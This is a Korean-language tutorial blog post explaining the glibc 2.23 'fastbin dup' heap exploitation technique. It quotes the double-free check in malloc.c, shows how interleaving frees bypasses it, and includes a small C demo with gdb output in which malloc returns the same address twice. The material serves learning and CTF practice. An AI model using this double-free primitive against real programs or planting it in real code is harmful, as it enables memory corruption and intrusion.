본문으로 바로가기

[Linux] ptmalloc2 Heap Exploitation :: fastbin dup

category Pwn/Techniques 2020. 6. 25. 22:58

* 이 글은 glibc 2.23 기준으로 작성되었습니다.

* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.

* 이 글은 shellphish 팀의 how2heap repository를 참고했습니다.

* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb

 

 

Last update: 6/25/2020

 

Analysis

malloc을 호출할 때, 같은 주소를 두 번 반환하게 하는 기법이다. 두 포인터가 같은 곳을 가리키고 있기 때문에, 수정되지 말아야 할 데이터를 수정하거나, 접근이 불가능한 데이터를 leak 할 수 있다.

 

다음과 같이 malloc 후 동일한 chunk를 두 번 free 한다고 가정하자.

 

1
2
3
4
5
6
7
8
9
#include <malloc.h>

int main() {
    void *s = malloc(0x20);
    free(s);
    free(s);

    return 0;
}

 

이걸 그대로 컴파일하고 실행하면 아래처럼 double free or corruption (fasttop) 오류 메시지를 남기고 터진다.

 

syine@minetalinux:~/Desktop/test$ ./test
*** Error in `./test': double free or corruption (fasttop): 0x0000000000f2c010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f1fc631d7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f1fc632637a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f1fc632a53c]
./test[0x400594]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f1fc62c6830]
./test[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 925486                             /home/syine/Desktop/test/test
00600000-00601000 r--p 00000000 08:02 925486                             /home/syine/Desktop/test/test
00601000-00602000 rw-p 00001000 08:02 925486                             /home/syine/Desktop/test/test
00f2c000-00f4d000 rw-p 00000000 00:00 0                                  [heap]
7f1fc0000000-7f1fc0021000 rw-p 00000000 00:00 0 
7f1fc0021000-7f1fc4000000 ---p 00000000 00:00 0 
7f1fc6090000-7f1fc60a6000 r-xp 00000000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1fc60a6000-7f1fc62a5000 ---p 00016000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1fc62a5000-7f1fc62a6000 rw-p 00015000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1fc62a6000-7f1fc6466000 r-xp 00000000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc6466000-7f1fc6666000 ---p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc6666000-7f1fc666a000 r--p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc666a000-7f1fc666c000 rw-p 001c4000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc666c000-7f1fc6670000 rw-p 00000000 00:00 0 
7f1fc6670000-7f1fc6696000 r-xp 00000000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f1fc6879000-7f1fc687c000 rw-p 00000000 00:00 0 
7f1fc6894000-7f1fc6895000 rw-p 00000000 00:00 0 
7f1fc6895000-7f1fc6896000 r--p 00025000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f1fc6896000-7f1fc6897000 rw-p 00026000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f1fc6897000-7f1fc6898000 rw-p 00000000 00:00 0 
7ffc38cf0000-7ffc38d11000 rw-p 00000000 00:00 0                          [stack]
7ffc38dd9000-7ffc38ddc000 r--p 00000000 00:00 0                          [vvar]
7ffc38ddc000-7ffc38dde000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

 

_int_free에 fast chunk double free를 검사하는 루틴이 있다. malloc.c 3935번째 줄에서 확인 가능하다.

 

3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fbold2;
    unsigned int old_idx = ~0u;
    do
      {
        /* Check that the top of the bin is not the record we are going to add
           (i.e., double free).  */

        if (__builtin_expect (old == p0))
          {
            errstr = "double free or corruption (fasttop)";
            goto errout;
          }
        /* Check that size of fastbin chunk at the top is the same as
           size of the chunk that we are adding.  We can dereference OLD
           only if we have the lock, otherwise it might have already been
           deallocated.  See use of OLD_IDX below for the actual check.  */

        if (have_lock && old != NULL)
          old_idx = fastbin_index(chunksize(old));
        p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fbpold2)) != old2);

    if (have_lock && old != NULL && __builtin_expect (old_idx != idx0))
      {
        errstr = "invalid fastbin entry (free)";
        goto errout;
      }
  }
/malloc/malloc.c

 

old와 p가 같으면 double free로 간주하고 errout으로 점프한다. old는 fastbin의 첫 번째 원소를 나타내기 때문에, 같은 chunk를 연속해서 free 하는 경우에만 에러가 발생한다. 만약 chunk1과 chunk2를 free 한 뒤에 chunk1을 다시 free 한다면, *fb는 chunk2를 나타내기 때문에 해당 조건을 간단하게 우회할 수 있다.

 

while의 조건식은 race condition을 막기 위한 것으로, single thread라면 while (0) 과 동일한 효과를 가진다.

 

Example

malloc으로 같은 크기의 chunk를 2개 할당받은 뒤, 첫 번째 chunk를 두 번 free하고 이후 같은 크기로 세 번 malloc을 실행해 chunk를 할당받는다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <malloc.h>

void *chunks[3];

int main() {
    chunks[0] = malloc(0x10);
    chunks[1] = malloc(0x10);

    free(chunks[0]);
    free(chunks[1]);
    free(chunks[0]);

    chunks[0] = malloc(0x10);
    chunks[1] = malloc(0x10);
    chunks[2] = malloc(0x10);

    return 0;
}

 

세 번의 free가 끝난 시점에서 main_arena의 상태를 확인해 본다.

 

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x602000 --> 0x602020 --> 0x602000 (overlap chunk with 0x602000(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602040 (size : 0x20fc0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

 

0x20 크기의 fastbin에 0x602000이 두 번 들어가있다.

이어서 malloc을 세 번 진행하면, chunk[0]과 chunk[2]에 같은 주소값이 들어간다.

 

gdb-peda$ p chunks[0]
$1 = (void *) 0x602010
gdb-peda$ p chunks[2]
$2 = (void *) 0x602010